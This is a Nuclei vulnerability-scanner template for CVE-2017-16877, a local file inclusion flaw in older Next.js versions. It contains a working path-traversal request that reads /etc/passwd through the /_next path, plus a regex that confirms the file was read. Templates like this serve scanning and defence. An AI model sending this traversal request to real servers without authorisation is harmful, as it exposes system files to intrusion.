nuclei-templates/http/cves/2017/CVE-2017-16877.yaml

40 lines
1.0 KiB
YAML
Raw Normal View History

2021-02-26 15:05:49 +00:00
id: CVE-2017-16877
info:
name: Nextjs <2.4.1 - Local File Inclusion
2021-02-26 15:05:49 +00:00
author: pikpikcu
severity: high
description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
reference:
- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
- https://github.com/zeit/next.js/releases/tag/2.4.1
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-16877
cwe-id: CWE-22
tags: cve,cve2017,nextjs,lfi,traversal
metadata:
max-request: 1
2021-02-26 15:05:49 +00:00
http:
2021-02-26 15:05:49 +00:00
- method: GET
path:
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
2021-02-26 15:05:49 +00:00
part: body
condition: and
- type: status
status:
- 200
# Enhanced by mp on 2022/06/09